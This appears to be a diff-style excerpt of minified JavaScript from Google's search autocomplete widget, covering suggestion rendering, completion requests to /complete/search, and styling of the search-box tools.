+d);b(_.n4.jg,c);b(_.n4.Jj,f);b(_.n4.Li,h)},K:function(a){t=!!a.xa[139];k.Bb(q.vc());c()},C:(0,_.E)(139),G:function(){return _.cj.A.wa},F:function(){return{la:a,Qb:b,refresh:c,clear:d}}};return I};_.cj.A.wa=41;_.cj.J.register(139,_.cj.A.wa,_.cj.qk);_.dj.nl=_.l;
+_.cj.nl=function(){function a(){var a=e.la();k?_.cj.xc(p,_.cj.escape(a)):p.value!=a&&(p.value=a)}function b(){p.style.visibility=""}function c(){p.style.visibility="hidden"}function d(a){_.cj.ej(p,a)}var e,f,g,h,i,n,p,k,q={W:function(a){i=a},L:function(a){var b=_.m4;e=a.get(b.wa,q);f=a.get(b.yb,q);g=a.Fb()},T:function(a){n=f.jj();h=g.getId();k=2==g.Ac();var b=(k?"gs_tad":"gs_taif")+h,c=i.Va(b);c?p=c:(k?c=_.cj.cg(a.Nb,1):(c=_.cj.R("input",a.Nb),c.disabled="disabled",c.autocapitalize=c.aut [...]
+c.autocorrect="off",_.cj.Hh(c),a=c.style,a.position="absolute",a.zIndex=1,a.backgroundColor="transparent",a.outline="",_.cj.Lc&&(a.WebkitTextFillColor="silver")),c.id=b,c.style.color="silver",n.appendChild(c),p=c)},C:(0,_.E)(144),G:function(){return _.cj.A.Vc},F:function(){return{refresh:a,show:b,hide:c,Bb:d}}};return q};_.cj.A.Vc=51;_.cj.J.register(144,_.cj.A.Vc,_.cj.nl);_.dj.hq=_.l;
+_.cj.hq=function(){function a(a){if(i){var f=d(a);if(f){a={};a[e.fq]=f.Yr;a[e.Kj]=f.yx;var f=f.userName,h="",s=a[e.Kj];s&&g.test(s)&&(h=s+"?sz=23");return[_.cj.Pk(f,0,h,"",23,23,"",_.l,_.j,_.j,_.j,f,b,c,a)]}}return[]}function b(a,b){var c=d(b);if(c){var f=a.Mw()[e.fq]||"";return c.Yr==f}return _.m}function c(){_.cj.Xk(n,"tbs")}function d(a){var b=window.google.Toolbelt.parseTbs(a.tbs);a=b.ppl_nps;var c=b.ppl_ids;if(c&&a){a=a.replace(f," ");var d="";(b=b.ppl_im)&&(d=["//",b,"/photo.jpg"]. [...]
+return{Yr:c,userName:a,yx:d}}return _.l}var e=_.yCa,f=/\+/g,g=/^\/\/lh\d+\.googleusercontent\.com\//,h,i,n,p;p={W:function(a){n=a.Of()},L:function(a){h=a.get(128,k)},T:_.cj.P,K:function(a){i=!!a.Aj[_.cj.A.kl]},C:(0,_.E)(155),G:function(){return _.cj.A.kl},F:function(){return{Sr:a}},Jc:_.cj.P,$:_.cj.P};var k={Hq:function(){return p},rx:function(){if(h.jc()){var a=h.Tb();if(44==a.C()){var b=a.Q(),c=a.O(),a={},d=c.V(e.fq);if(!d){var f=c.V(e.Jr);f&&(d=["-",f].join(""))}window.google.Toolbelt [...]
+d||"",a);window.google.Toolbelt.set("ppl_nps",b,a);if(b=c.V(e.Kj))b=b.substring(2,b.length-10),window.google.Toolbelt.set("ppl_im",b,a);return(0,window.decodeURIComponent)(a.tbs)}}return""}};return k};_.cj.A.kl=24;_.cj.J.register(155,_.cj.A.kl,_.cj.hq);
+_.cj.$w=function(){function a(){return _.cj.Or(44)}function b(a,b){g.render(a.$a(),a.O(),b,44)}function c(a){return a.Q()}function d(a,b,c){c.search(b.Q(),1)}function e(){return _.m}function f(){return 44}var g,h={L:function(a){g=a.get(245,h)},C:(0,_.E)(152),G:function(){return _.cj.A.Tr},F:function(){return{tb:a,render:b,Wb:c,Ha:d,vb:e,ub:f}}};return h};_.cj.A.Tr=242;_.cj.J.register(152,_.cj.A.Tr,_.cj.$w);
+_.cj.Or=function(a){var b,c,d,e;b=_.cj.oa();b.className="gsso_a";var f=_.cj.ic();b.appendChild(f);var g=f.insertRow(-1),h=g.insertCell(-1);h.className="gsso_b";h.rowSpan=2;c=_.cj.R("img");c.className="gsso_c";h.appendChild(c);h=g.insertCell(-1);h.rowSpan=2;var i=_.cj.oa("gsso_d");h.appendChild(i);g=g.insertCell(-1);g.className="gsso_e";d=_.cj.R("span");g.appendChild(d);h=_.cj.R("span","gsso_g");h.innerHTML=" · plus.google.com";g.appendChild(h);g=f.insertRow(-1);e=g.insertCell(-1); [...]
+"gsso_f";return{Z:function(){return b},C:function(){return a},Da:(0,_.E)(_.j),render:function(a,b,f,g,h){c.src=b;d.innerHTML=a;a=[];h&&a.push(h);f&&a.push(f);g&&a.push(g);_.cj.nk(e,a.join(" \u2022 "))}}};_.dj.Nr=_.l;
+_.cj.Nr=function(){function a(a,c,d,e){if(45==e)e=_.xCa;else if(44==e)e=_.yCa;else return;var f="//www.google.com/images/ps_placeholder_25.png",g=c.V(e.Kj);g&&(f=g+"?sz=36");d.render(a,f,c.V(e.Mr),c.V(e.Lr),c.V(e.Kr))}return{W:function(a,c){c.addRule(".gsso_a","padding:3px 0");c.addRule(".gsso_a td","line-height:18px");c.addRule(".gsso_b","width:36px");c.addRule(".gsso_c","height:36px;vertical-align:middle;width:36px");c.addRule(".gsso_d","width:7px");c.addRule(".gsso_e","width:100%");c. [...]
+"color:#666;font-size:13px;padding-bottom:2px");c.addRule(".gsso_g","color:#093;font-size:13px")},C:(0,_.E)(245),G:function(){return _.cj.A.yk},F:function(){return{render:a}}}};_.cj.A.yk=244;_.cj.J.zg(245,_.cj.A.yk,_.cj.Nr);
+_.cj.Xw=function(){function a(){return _.cj.Or(45)}function b(a,b){var c=a.O(),d=c.V("l");h.render(d,c,b,45)}function c(a){return a.Q()}function d(a,b,c){g(a,b,c)}function e(a,b,c){g(a,b,c);return _.j}function f(){return 45}function g(a,b,c){(a=b.O().V("k"))?c.uc(a):c.search(b.Q(),1)}var h,i={L:function(a){h=a.get(245,i)},C:(0,_.E)(152),G:function(){return _.cj.A.Hr},F:function(){return{tb:a,render:b,Wb:c,Ha:d,vb:e,ub:f}}};return i};_.cj.A.Hr=243;_.cj.J.register(152,_.cj.A.Hr,_.cj.Xw);_. [...]
+_.cj.va=function(a){function b(b){function c(a,b,d){Ia&a||(La[b]=La[d]=161)}var e=z.I(),f=d(),g=I!=q.Af;if(Q[1]||_.cj.aj(window.google.kHL))e.Xh=_.j;e.Ag=w;e.Sh=L.pq||"";e.hf=L.token||"";e.Rh=L.stok||"";e.Wc=L.exp||"";e.zh=L.scc||"";e.Kn=_.j;e.Id=f?1:0;e.Pc=window.google.kHL;e.authuser=window.google.authuser;e.Oj=g;e.ng=27;L.soff&&(e.Oh=_.j);e.Mf=L.agen;e.Nf=L.cgen;var h=L.lyrs,p=h&v.Ab&&f,i=h&v.wa&&f,O=h&v.fk&&f,R=h&v.Ua,Ma=h&v.Eq,Na=e.xa;Na[r.La]=h&v.dk;Na[r.Ab]=p;Na[r.wa]=i;Na[r.Sc]=O [...]
+R;Na[r.Od]=Ma;e.Pj=i?2:0;h=_.k4;x&&(e.gi=_.j,e.tg=f?L.sce:L.scd);f&&(e.fi=_.j,e.bi=_.j,L.navs||delete e.Ga[h.Ki],e.Ga[h.Dh]=_.j);L.jsonp?(e.ob=0,e.qg=L.host,e.yf=_.j):e.ob=1;if((x||g)&&window.google.j&&window.google.j.gt)if(f=window.google.j.gt())e.ob=2,e.Hj=(0,_.sf)((0,_.Ai)(),f);a.ik&&a.ik(e);if(f=L.ovr){g=f;"ejp"in g&&(P=!!g.ejp);if("ent"in g&&(y=!!g.ent))e.Ga[46]=_.j,e.Wc="les;"+e.Wc;"he"in g&&(e.Ld=g.he);"s"in g&&(e.ug=g.s);a.hk&&a.hk(g,e)}var La={},Ia=L.lyrs;c(v.dk,r.La,r.yb);c(v.A [...]
+c(v.wa,r.wa,r.Vc);c(v.fk,r.Sc,r.ze);c(v.Ua,r.Ua,r.Nd);P&&_.cj.lc(La,r.Qc,_.cj.Pp());a.gk&&(La[r.zf]=[162],a.gk(e,La));_.cj.va.B(La,L);e.Eg=La;f=f||{};_.cj.va.Mb(f,e);f=_.m;a.K&&(f=a.K(e));if(s&&K)n(),!x||Z||b||f?s.K(e):d()||s.Dg(),a.Nn&&a.Nn();else{s=A.I(u,t,da,0);s.Ie(e);_.cj.pp(t,s);b=[k.Yf,k.Oc];for(e=0;f=b[e++];)G[f]=s.Td(t,f);for(b=0;e=S[b++];)window.google.msg.listen(e.Tj,e.kk,e.Kd);a.Ie&&a.Ie()}}function c(){return s}function d(){return I==q.Ug}function e(a,b,c){S.push({Tj:a,kk:b, [...]
+function g(a){var b=s.Yh();return a+"&"+s.Pd(b)}function h(a,b,c,d){d!=_.l&&(c[k.ck]=d);_.cj.re(t,c);c=s.Yh(b);a=[a,_.cj.wj(b)];window.google.msg.send(15,a)&&(a=k.Yf,G[a]&&(G[a].value=c[a]),a=k.Oc,G[a]&&(G[a].value=c[a]),(!t.onsubmit||t.onsubmit()!=_.m)&&t.submit());_.cj.Wp();d!=_.l&&(s.Hb(d),_.cj.Xk(t,k.ck))}function i(){var b={};a.nn&&(b=a.nn());if(y){var c=k.Ae;if(!(c in b)){var d=s.Ck(c);d&&(b[c]=d)}}return b}function n(){var a=k.Yf;G[a]&&(G[a].value="");a=k.Oc;G[a]&&(G[a].value="")} [...]
+a?q.Ug:q.Af;a!=I&&(I=a,K=O=_.j,b(_.j))}var k={Yf:"oq",ck:"dq",Fq:"tbs",Oc:"gs_l",Ae:"gs_ssp"},q={Ug:"p",Ex:"i",Af:"b"},v={dk:1,Ab:2,wa:4,fk:8,Ua:16,Eq:32},r=_.m4,s,A,z,t,u,w,x,I=q.Af,O=_.m,K,Z,y,G={},Q,L,S=[],P,da={a:f,b:function(a,b){var c=i();if(k.Fq in c)h(a,b,c,"");else if(_.cj.wc(a))h(a,b,c);else{var d=s.Ye();d&&(s.Hb(d),h(d,b,c,a))}},c:function(a){window.location=a},d:function(a){a=g(a);var b=window.frames.wgjf;b?(window.google.r=1,b.location.replace(a)):window.location=a},e:g,f:fu [...]
+{});window.google.msg.send(49,[a])},h:function(a){_.cj.re(t,{});window.google.msg.send(66,[a])},i:function(a){window.google.msg.send(50,[a])},j:function(b,c){a.Uc&&a.Uc(b,c);_.cj.Pb(b.U())&&window.google.msg.send(9,[b.U(),_.cj.Rp(b.ha()),b.Kc(),b.rg(),c])},k:function(a,b){var c=b.Q();window.google.msg.send(23,[a,c])},l:function(){n()},m:(0,_.ea)(),o:function(){a.Dc&&a.Dc();window.google.msg.send(22)},p:function(){a.Ec&&a.Ec();window.google.msg.send(11)},r:function(b,c){a.qc&&a.qc(b,c);_. [...]
+c)},s:function(a){window.google.msg.send(54,[a])},t:function(){window.google.msg.send(55)},u:function(){a.yc&&a.yc()},w:function(a){_.cj.re(t,i());window.google.msg.send(12,[a])},z:function(){window.google.msg.send(74)},aa:function(){window.google.msg.send(75)},ac:function(b,c){if(a.Cq)return a.Cq(b,c)}},R={Yb:f,wp:function(){return w},nd:function(){return u},Dk:c,If:function(){return L},Tk:d,Ek:function(){return x},Qp:e};Q=_.cj.Yb();window.google.ac={a:b,gs:c,cc:function(){s.hb()}};A=_. [...]
+_.cj.ni();_.cj.Cp(function(c){var d=_.cj.mn(),e=d.q,f=c.ds;K=t==d&&u==e;Z=w!=f;t=d;u=e;w=f;L=c;c=c.psy||q.Af;x=c==q.Ug;O||(I=c);s||window.google.msg.listen(62,p);a.Mn&&a.Mn();b(_.m)},function(){if(s){if(!x){for(var a=0,b;b=S[a++];)window.google.msg.unlisten(b.Tj,b.kk);s.$()}n()}});e(4,function(a){s.Hb(a);return _.l},50);return R};_.cj.va.Mb=_.cj.P;_.cj.va.jf=function(a){_.cj.va.Mb=a};_.cj.va.Ic=_.cj.P;_.cj.va.gg=function(a){_.cj.va.Ic=a};_.cj.va.B=_.cj.P;_.cj.va.Gf=function(a){_.cj.va.B=a};
+_.cj.mp=function(){function a(a,b,c){e(a.getId(),a.U(),b,c);return _.j}function b(){return 1}function c(){return q}function d(a){var b=k[a];b&&(g(b),delete k[a])}function e(a,b,c,e){v.uf||f();var g,i=_.l;_.cj.Ea?i=h("Msxml2")||h("Microsoft"):"undefined"!=typeof window.XMLHttpRequest&&(i=new window.XMLHttpRequest);if(g=i)b=[n,"?",p?p+"&":"",c?c+"&":"","q=",(0,window.encodeURIComponent)(b),"&xhr=t"].join(""),g.open("GET",b,_.j),g.onreadystatechange=function(){if(4==g.readyState){switch(g.s [...]
+1E3;break;case 302:case 500:case 502:case 503:++q;break;case 200:e(eval(g.responseText),_.m);default:q=0}d(a)}},k[a]=g,g.send(_.l)}function f(){for(var a in k)g(k[a]);k={}}function g(a){a.onreadystatechange=_.cj.P;var b=a.readyState;0!=b&&4!=b&&a.abort()}function h(a){var b=_.l;try{b=new window.ActiveXObject(a+".XMLHTTP")}catch(c){}return b}var i,n,p,k={},q=0,v,r={L:function(a){i=a.get(127,r)},K:function(a){1==a.ob&&(v=a,a=i.Hf(),n=a.Hd,p=a.pg)},C:(0,_.E)(149),G:function(){return _.cj.A. [...]
+kg:d,hb:_.cj.P,Ud:b,Wd:c}},$:function(){f();q=0}};return r};_.cj.A.jf=180;_.cj.J.register(149,_.cj.A.jf,_.cj.mp);
+_.cj.fr=function(){function a(a,b,c,d){c=a.U();b=["/complete/search?",A?A+"&":"",b?b+"&":""].join("");var e=[];_.cj.Na("xhr","t",e);_.cj.Na("q",c,e,_.cj.Fj);b=b+e.join("&");if(v.Oj&&(b=window.google.msg.send(16,[b,_.m,c],b),!b))return _.m;t[c]=a;z=d;s.jd(b);return _.j}function b(){t={};r&&r.hb(["/complete/search","/s"])}function c(){return 2}function d(){return 0}function e(){var a=[r.B(),r.D(),r.H()],a=(0,_.aj)(r,a);a.D();f(a,_.j)}function f(a,b){if(a){s&&s.H();s=a=b?a:(0,_.sf)(r,a);a.M [...]
+g(h),d="/complete/search";a.rq(c,d);a.B(i,d);d="/s";a.B(i,d);(window.google.ucp||!a.N()&&!a.S())&&a.rq(c,d)}}function g(a){return function(b,c,d,e,f){if(!e){c&&(b=c());try{_.cj.ne(b)&&(b=eval("("+b+")")),a(b,f)}catch(s){b={_response:b,_url:d,_isPartial:e,_opt_fromCache:f};try{window.google.ml(s,_.m,b)}catch(g){}}}return _.j}}function h(a,b){var c=q.Vp(a),d=t[c];if(d){if(b){var e=a[2];e&&(e.j=d.getId())}t[c]=_.l}z&&z(a,b)}function i(a){a=a.substring(a.indexOf("?")+1).split("&");for(var b= [...]
+0,e;e=a[d++];){var f=e.split("=");2==f.length&&(f=f[0],p[f]&&!c[f]&&("q"==f&&(e=e.toLowerCase().replace(/\+/g," ")),b.push(e),c[f]=_.j))}b.sort();return(0,window.decodeURIComponent)(b.join("&"))}function n(a,b,c){window.google.msg.send(17,[a,b,c],_.m)&&e()}var p=_.cj.Za("ds hl client expIds tok xhr q cp pq pws".split(" ")),k,q,v,r,s,A,z,t,u={L:function(a){var b=_.m4;k=a.get(b.xb,u);q=a.get(b.Kb,u)},T:function(){r=(0,_.Ai)()},K:function(a){t={};2==a.ob&&(v=a,A=k.Hf().pg,(a=a.Hj)?s&&s.api= [...]
+e())},C:(0,_.E)(149),G:function(){return _.cj.A.xl},F:function(){return{jd:a,kg:_.cj.P,hb:b,Ud:c,Wd:d}}};return u};_.cj.A.xl=19;_.cj.J.register(149,_.cj.A.xl,_.cj.fr);
+_.cj.Zp=function(){function a(){return 2}function b(a){if(g){var b=a.ha();if(!(b.length>=q.tg)){var c=a.Ta().Ba();if(b.length){for(var d=0,k;k=b[d];++d){if(!h[k.C()])return;k=k.Q();if(!_.cj.Lb(k,c,_.j))return}e(a)}else!q.Ik&&!f.test(c)&&e(a)}}}function c(a){if(g){var b,c=a.Ba(),d=window.Math.min(c.length,p);if(d>=n)for(var e;0<d;--d)if(b=i[d])if(e=c.substring(0,d),b=b[e]){c=b;d=c.ha();if(d.length){b=a.U();e=b.toLowerCase();for(var f=a.Ba(),h=c.O(),v=q.dg||!h.ye("k"),I=[],O=_.ba,K=_.ba,Z= [...]
+d[y++];)K=G.Q(),_.cj.Lb(K,f,_.j)&&(O=v?k.bold(e,K):_.cj.escape(K),I.push(_.cj.Ub(O,K,Z++,G.C(),G.Zb(),G.O())));a=_.cj.gc(a,b,I,h,_.j,c.od(),_.j,_.m)}else a=c;return a}}return _.l}function d(){i={};n=window.Number.MAX_VALUE;p=0}function e(a){var b=a.Ta().Ba(),c=b.length;c<n&&(n=c);c>p&&(p=c);var d=i[c];d||(d=i[c]={});d[b]=a}var f=/^[!"#$%'()*,\/:;<=>?[\\\]^`{|}~]+$/,g=_.j,h,i,n,p,k,q,v={L:function(a){k=a.get(150,v)},T:function(){h=_.cj.Za([_.k4.ge]);d()},K:function(a){q=a;g=a.Mf},C:(0,_.E [...]
+F:function(){return{ja:a,update:b,get:c,reset:d}},$:function(){g=_.m}};return v};_.cj.A.Gj=97;_.cj.J.register(151,_.cj.A.Gj,_.cj.Zp);
+_.cj.bq=function(){function a(){return 3}function b(a){if(e){var b=a.Ta(),c=a.ha();if(c.length){var d=b.Ba();a:for(var b=window.Number.MAX_VALUE,h,s=0;h=c[s++];){if(!f[h.C()]){b=-1;break a}h=h.Q();b=window.Math.min(h.length,b)}if(-1!=b){var n=c[0].Q();if(_.cj.Lb(n,d,_.j))for(s=d.length+1;s<=b;){d=_.l;for(h=0;n=c[h++];){n=n.Q();if(s>n.length)return;n=n.substr(0,s);if(d){if(d!=n)return}else d=n}g[d]=a;++s}}}}}function c(a){if(e){var b=g[a.Ba()];if(b){var c=a.Xg(),d=a.Ba();b.Ta().Ba();for(v [...]
+s=i||!f.ye("k"),n=[],z,t,u=b.ha(),w=0,x;x=u[w++];)t=x.Q(),z=s?h.bold(c,t):_.cj.escape(t),n.push(_.cj.Ub(z,t,x.Ma(),x.C(),x.Zb(),x.O()));delete g[d];return _.cj.gc(a,a.U(),n,f,_.j,b.od(),_.j,_.m)}}return _.l}function d(){g={}}var e=_.j,f,g={},h,i,n={L:function(a){h=a.get(150,n)},T:function(){f=_.cj.Za([_.k4.ge])},K:function(a){i=a.dg;e=a.Nf},C:(0,_.E)(151),G:function(){return _.cj.A.Ij},F:function(){return{ja:a,update:b,get:c,reset:d}},$:function(){e=_.m}};return n};_.cj.A.Ij=98;
+_.cj.J.register(151,_.cj.A.Ij,_.cj.bq);_.cj.oo=function(){function a(){return _.cj.qo()}function b(a,b){var c=a.O(),d=c.V(f.Qf),c=c.V(f.nj);b.render(d,c)}function c(a,b,c){c.search(b.Q(),1)}function d(a,b,c){c.search(b.Q(),1);return _.j}function e(){return 19}var f={Qf:"a",nj:"b"};return{C:(0,_.E)(152),G:function(){return _.cj.A.Mb},F:function(){return{tb:a,render:b,Ha:c,vb:d,ub:e}}}};_.cj.A.Mb=35;_.cj.J.register(152,_.cj.A.Mb,_.cj.oo);
+_.cj.qo=function(){var a;a=_.cj.oa();return{Z:function(){return a},C:(0,_.E)(19),Da:(0,_.E)(_.j),render:function(b,c){a.innerHTML=["<b>",b," = ",c,"</b>"].join("")}}};
+_.cj.Tw=function(){function a(a){return _.cj.Uw(h,a)}function b(a,b){var c=a.O(),d=c.V(g.Js),e=f(a),c=c.V(g.er);b.render(d,e,i,c)}function c(a){return f(a)}function d(a,b,c){a=f(b);h.Qb(a);c.search(a,1)}function e(){return 46}function f(a){return a.O().V(g.gr)||a.Q()}var g={Qy:"a",er:"b",gr:"c",Js:"d",Sy:"e",Ry:"f",Ae:"g",Du:"h"},h,i,n={W:function(a,b){b.addRule(".gsen_a","color:#333")},L:function(a){h=a.get(118,n)},K:function(a){i=a.le?a.Sd:""},C:(0,_.E)(152),G:function(){return _.cj.A. [...]
+render:b,Wb:c,Ha:d,vb:_.cj.P,ub:e}}};return n};_.cj.A.Qr=377;_.cj.J.register(152,_.cj.A.Qr,_.cj.Tw);
+_.cj.Uw=function(a,b){var c,d,e,f,g,h;c=_.cj.oa();var i=_.cj.ic();c.appendChild(i);d=i.insertRow(-1);i=d.insertCell(-1);i.style.width="100%";e=_.cj.R("span");i.appendChild(e);f=_.cj.R("span");f.className="gsen_a";i.appendChild(f);return{Z:function(){return c},C:(0,_.E)(46),Da:(0,_.E)(_.j),render:function(c,p,k,q){e.innerHTML=c;f.innerHTML=q?" – "+q:"";h=p;k&&!g&&(g=_.cj.vg(d),g.onclick=function(c){a.Ed();a.Qb(h);b.search(h,9);return _.cj.gb(c)});k?(g.innerHTML=k+" »",g.s [...]
+""):g&&(g.style.display="none")}}};
+_.cj.Qo=function(){function a(a){return _.cj.Ro(a)}function b(a,b){var c=a.O(),d=c.V(h.ki),c=c.V(h.Gn),e=a.$a(),f=e.replace(/HTTPS?:\/\//gi,""),e=_.cj.$h(e);/^HTTPS?:\/\//i.test(e)||(e=(0<d.indexOf("/url?url=https:")?"https":"http")+"://"+e);b.render(c,f,e,d)}function c(a,b){return b}function d(a,b,c){return g(a,b,c)}function e(a,b,c){g(a,b,c);return _.j}function f(){return 5}function g(a,b,c){b=b.O().V(h.ki);c.uc(b);return _.cj.gb(a)}var h={ki:"a",Gn:"b"};return{W:function(a,b){b.addRul [...]
+"padding-top:4px;padding-bottom:1px");b.addRule(".gsn_b","display:block;line-height:16px");b.addRule(".gsn_c","color:green;font-size:13px")},C:(0,_.E)(152),G:function(){return _.cj.A.gg},F:function(){return{tb:a,render:b,Wb:c,Ha:d,vb:e,ub:f}}}};_.cj.A.gg=32;_.cj.J.register(152,_.cj.A.gg,_.cj.Qo);
+_.cj.Ro=function(a){function b(a){return n?(_.cj.gb(a),_.j):_.m}function c(b){b=b||window.event;n=_.m;b.which?n=2==b.which:b.button&&(n=4==b.button);f.href=a.Gc(i)}function d(a,b){var c=_.cj.R("span");c.className=a;b.appendChild(c);return c}var e,f,g,h,i,n;e=_.cj.oa();e.className="gsn_a";e.style.lineHeight="117%";var p=d("gsn_b",e);f=_.cj.R("a");p.appendChild(f);g=_.cj.R("br");p.appendChild(g);h=d("gsn_c",p);return{Z:function(){return e},C:(0,_.E)(5),Da:(0,_.E)(_.j),render:function(a,d,e [...]
+a;f.onmousedown=c;f.onclick=b;f.href=e;a?(f.style.display="",g.style.display=""):(f.style.display="none",g.style.display="none");h.innerHTML=d;i=p}}};
+_.cj.Yw=function(){function a(a){return _.cj.Zw(a)}function b(a,b){var c=a.O(),d=_.wCa,i=c.V(d.vk),c=c.V(d.tr),d=a.Q();b.render(i,c,d)}function c(a,b,c){c.search(b.Q(),1)}function d(){return 33}return{W:function(a,b){b.addRule(".gspr_a","padding-right:1px")},C:(0,_.E)(152),G:function(){return _.cj.A.Rr},F:function(){return{tb:a,render:b,Ha:c,vb:_.cj.P,ub:d}}}};_.cj.A.Rr=31;_.cj.J.register(152,_.cj.A.Rr,_.cj.Yw);
+_.cj.Zw=function(){var a;a=_.cj.oa();a.className="gspr_a";return{C:(0,_.E)(33),Z:function(){return a},Da:(0,_.E)(_.j),render:function(b,c){a.innerHTML=c}}};
+_.cj.Ts=function(){function a(a){return _.cj.Us(e,a)}function b(a,b){b.render(a.$a(),a.Q(),f)}function c(a,b,c){c.search(b.Q(),1)}function d(){return 0}var e,f,g={W:function(a,b){b.addRule(".gsq_a","padding:0")},L:function(a){e=a.get(118,g)},K:function(a){f=a.le?a.Sd:""},C:(0,_.E)(152),G:function(){return _.cj.A.Qq},F:function(){return{tb:a,render:b,Ha:c,vb:_.cj.P,ub:d}}};return g};_.cj.A.Qq=20;_.cj.J.register(152,_.cj.A.Qq,_.cj.Ts);
+_.cj.Us=function(a,b){var c,d,e,f,g;c=_.cj.oa();c.className="gsq_a";var h=_.cj.ic();c.appendChild(h);d=h.insertRow(-1);h=d.insertCell(-1);h.style.width="100%";e=_.cj.R("span");h.appendChild(e);return{Z:function(){return c},C:(0,_.E)(0),Da:(0,_.E)(_.j),render:function(c,h,p){e.innerHTML=c;g=h;p&&!f&&(f=_.cj.vg(d),f.onclick=function(c){a.Ed();a.Qb(g);b.search(g,9);return _.cj.gb(c)});p?(f.innerHTML=p+" »",f.style.display=""):f&&(f.style.display="none")}}};
+_.cj.Ww=function(){function a(){return v}function b(){return _.cj.A.eq}function c(){return 2}function d(){return t}function e(a){if(w){if(r.onclick)r.onclick(a)}else a=window.document.createElement("script"),a.src=["//www.google.com/textinputassistant/",z,"/",A,"_tia.js"].join(""),window.document.body.appendChild(a),w=_.j,p.add(3)}function f(){k.Zd()}function g(){q.ux()}function h(a){q.Bx(b(),a)}function i(a){q.Dx(b(),a)}function n(a){t.className="gsok_a gsst_e "+a}var p,k,q,v,r,s,A,z,t, [...]
+b){u=a;a.Zf()||(b.addRule(".gsok_a","background:url(data:image/gif;base64,R0lGODlhEwALAKECAAAAABISEv///////yH5BAEKAAIALAAAAAATAAsAAAIdDI6pZ+suQJyy0ocV3bbm33EcCArmiUYk1qxAUAAAOw==) no-repeat center;display:inline-block;height:11px;line-height:0;width:19px"),b.addRule(".gsok_a img","border:none;visibility:hidden"))},L:function(a){var b=_.m4;p=a.get(b.za,x);k=a.get(b.ga,x);q=a.get(b.Be,x)},T:function(a){v=!!a.Pg;s=a.Gp;A=a.Kf;z=a.Ip;(t=u.get("gs_ok"))?r=t.firstChild:(r=_.cj.R("img"),r.src=s [...]
+t=_.cj.R("span","gsok_a gsst_e"),t.id=u.getId("gs_ok"),t.appendChild(r));r.ds=f;r.hd=g;r.sc=n;r.sd=h;r.td=i;r.setAttribute("tia_field_name",u.nd().name);r.setAttribute("tia_disable_swap",_.j)},K:function(a){a.Vf&&(v=!!a.Pg);r.setAttribute("tia_property",a.Hp)},C:(0,_.E)(160),G:function(){return _.cj.A.eq},F:function(){return{isEnabled:a,Op:b,ja:c,Z:d,Ha:e}}};return x};_.cj.A.eq=78;_.cj.J.register(160,_.cj.A.eq,_.cj.Ww);
+_.cj.gx=function(){function a(){return f}function b(){return _.cj.A.jq}function c(){return 3}function d(){return g}function e(){var a=window.google&&window.google.qb;a&&a.tp()}var f,g,h;return{W:function(a,b){h=a;a.Zf()||b.addRule("#qbi.gssi_a","background:url(data:image/gif;base64,R0lGODlhEgANAOMKAAAAABUVFRoaGisrKzk5OUxMTGRkZLS0tM/Pz9/f3////////////////////////yH5BAEKAA8ALAAAAAASAA0AAART8Ml5Arg3nMkluQIhXMRUYNiwSceAnYAwAkOCGISBJC4mSKMDwpJBHFC/h+xhQAEMSuSo9EFRnSCmEzrDComAgBGbsuF0PHJq9Wipn [...]
+T:function(a){f=!!a.Sq;g=h.get("gs_si");g||(g=_.cj.R("span"),g.id=h.getId("gs_si"),a=_.cj.R("span","gssi_a gsst_e"),a.id="qbi",g.appendChild(a))},K:function(a){a.Vf&&(f=!!a.Sq)},C:(0,_.E)(160),G:function(){return _.cj.A.jq},F:function(){return{isEnabled:a,Op:b,ja:c,Z:d,Ha:e}}}};_.cj.A.jq=79;_.cj.J.register(160,_.cj.A.jq,_.cj.gx);
+_.cj.hx=function(){function a(){return _.cj.A.kq}function b(a){da!=a&&(K.dir=da=a,f())}function c(){return K}function d(a){if((a=y[a])&&a.style)a.style.display=""}function e(a){if((a=y[a])&&a.style)a.style.display="none"}function f(){G&&(y[G].className="gsst_a",u.hide(),G=_.l)}function g(a,b){G=a;var c=y[a];c.className="gsst_a gsst_g";var d=Q.lastChild;d!=b&&(d==L?Q.appendChild(b):Q.replaceChild(b,d));u.setPanel(q());u.show();c=c.clientWidth;L.style.width=c+"px";L.style.left="rtl"==da?"0 [...]
+c+"px"}function h(a,b){G==a?f():g(a,b)}function i(a){var b=_.mCa;a.yg="rtl"==da?b.Qf:b.nj;a.Nj=_.m}function n(){return Q}function p(){return O.Kk||P==da?R:_.l}function k(){f()}function q(){return _.cj.A.kq}function v(a,b){return b.ja()-a.ja()}function r(){S!=G&&f()}function s(){for(var a,b=0,c;c=I[b++];)if(c.isEnabled()){a=_.j;var d=_.cj.R("a","gsst_a");t(d,c);d.appendChild(c.Z());K.appendChild(d)}K.style.display=a?"":"none"}function A(){S=_.l}function z(){y={};for(var a=0,b;b=I[a++];)if [...]
+b.Op(),d=b.Z().parentNode;d.onclick=b.Ha;d.onmouseover=function(){S=c};d.onmouseout=A;y[c]=d;b.Nw&&b.Nw().CB&&e(c)}}function t(a,b){a.href="javascript:void(0)";a.onkeydown=function(a){a=a||window.event;var c=a.keyCode;if(13==c||32==c)b.Ha(a),x.ie(),_.cj.gb(a)}}var u,w,x,I,O,K,Z,y={},G,Q,L,S,P,da,R,Aa,Fa={W:function(a,b){Z=a;P=a.Yc();a.Zf()||(b.addRule(".gsst_a","display:inline-block"),b.addRule(".gsst_a","cursor:pointer;padding:0 4px"),b.addRule(".gsst_a:hover","text-decoration:none!impo [...]
+["font-size:16px;padding:0 2px;",b.prefix("user-select:none;"),"white-space:nowrap"].join("")),b.addRule(".gsst_e",_.cj.Rk(0.55)),b.addRule(".gsst_a:hover .gsst_e,.gsst_a:focus .gsst_e",_.cj.Rk(0.72)),b.addRule(".gsst_a:active .gsst_e",_.cj.Rk(1)),b.addRule(".gsst_f","background:white;text-align:left"),b.addRule(".gsst_g",["background-color:white;border:1px solid #ccc;border-top-color:#d9d9d9;",b.prefix("box-shadow:0 2px 4px rgba(0,0,0,0.2);"),"margin:-1px -3px;padding:0 6px"].join("")), [...]
